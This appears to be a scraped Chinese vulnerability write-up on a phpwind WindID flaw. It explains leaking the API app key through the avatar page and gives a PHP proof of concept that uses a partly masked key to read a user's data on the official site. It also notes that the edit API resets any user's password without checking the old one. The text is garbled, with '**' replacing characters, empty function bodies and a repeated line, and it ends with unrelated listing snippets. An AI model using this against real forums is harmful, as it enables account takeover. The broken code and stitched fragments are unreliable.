沒想到phpwind犯了乙個和phpcms一樣的漏洞。
在src/applications/windidserver/api/controller/appcontroller.php內**:
public function listaction()
如何獲取可以訪問介面的key?
檢視使用者上傳頭像頁面就可以知道了:
/phpwind/src/windid/service/user/srv/windiduserservice.php
內的**:
$key = windidutility::appkey($appid, $time, $appkey, array('uid'=>$uid, 'type'=>'flash'), array('uid'=>'undefined'));去頭像頁面檢視一下原始檔
解出urldecode得:
去掉&**atar=http://localhost/phpwind/windid/attachment/**atar/000/00/00/1.jpg?r=88418
然後記得,還需要post乙個uid等於undefined
把do**atar換成list,**atar換成app得:
post:uid=undefined得:}
拿到這個key,我可以做的事情太多了,使用者體系內的所有事情我都可以做了。
拿到這個key,我可以做的事情太多了,使用者體系內的所有事情我都可以做了。
在官網測試了一下,拿到key後測試一下讀取乙個使用者的資料:
<?php $secretkey = '308c6c43a*****279dd61dd80e8d59bd';
$c = 'user';
$a = 'get';
$data = array('uid'=>'658925');
$time = time();
$key = appkey('1', time(), $secretkey, array('userid'=>658925), $data);
echo post(''.$c.'&a='.$a.'&windidkey='.$key.'&time='.$time .'&clientid=1&userid=658925',$data);
function post($uri,$data)
function appkey($apiid, $time, $secretkey, $get, $post)
foreach ($post as $k=>$v)
return md5(md5($apiid.'||'.$secretkey).$time.$str);
}?>
在user的api內還有乙個edit的介面,可以修改任意使用者的密碼,呼叫它,不填寫old_password,將可以修改任意使用者的密碼,不會驗證原密碼的。
修復方案:
不要輕信key,可以將m,a,c都加入key的運算。
乙個站長對phpwind和Discuz 的看法
我07年開始接觸網際網路,遇到的第乙個程式應該是phpwind了吧,當時有個免費申請論壇的 叫uu1001 phpwind官方推出的,後來改叫uueasy了 我經常在上面混,也偶爾使用phpwind來搭建一些論壇。到了09年上大學的時候,我替我們系建了乙個 當時dwww.cppcns.comiscu...
如何使用Afl Fuzz去測試乙個shell指令碼
眾所周知,模糊測試技術已經成為了測試軟體質量的重要手段。基於模糊測試技術開發的測試工具有很多,其中最長被使用而且改進也是最多的乙個工具就是afl american fuzz lop 本篇文章不會贅述如何安裝afl,以及如何使用afl進行簡單的fuzz。由於很多被測程式都有自己的乙個入口,而這些入口有...
Linux乙個簡單的每秒執行命令shell指令碼
遷移了一台伺服器,發現其中乙個專案的資料沒有更新,查詢原伺服器的資料,資料有更新,並找到了rsync服務,從其他伺服器傳輸資料,那麼如何找到這台伺服器?因為是從遠端傳輸到本地,而且不是很頻繁,手動查詢通訊記錄,沒有結果。寫了乙個指令碼進行跟蹤下,考慮到通訊時間短的問題。需要每秒執行一次命令,通過li...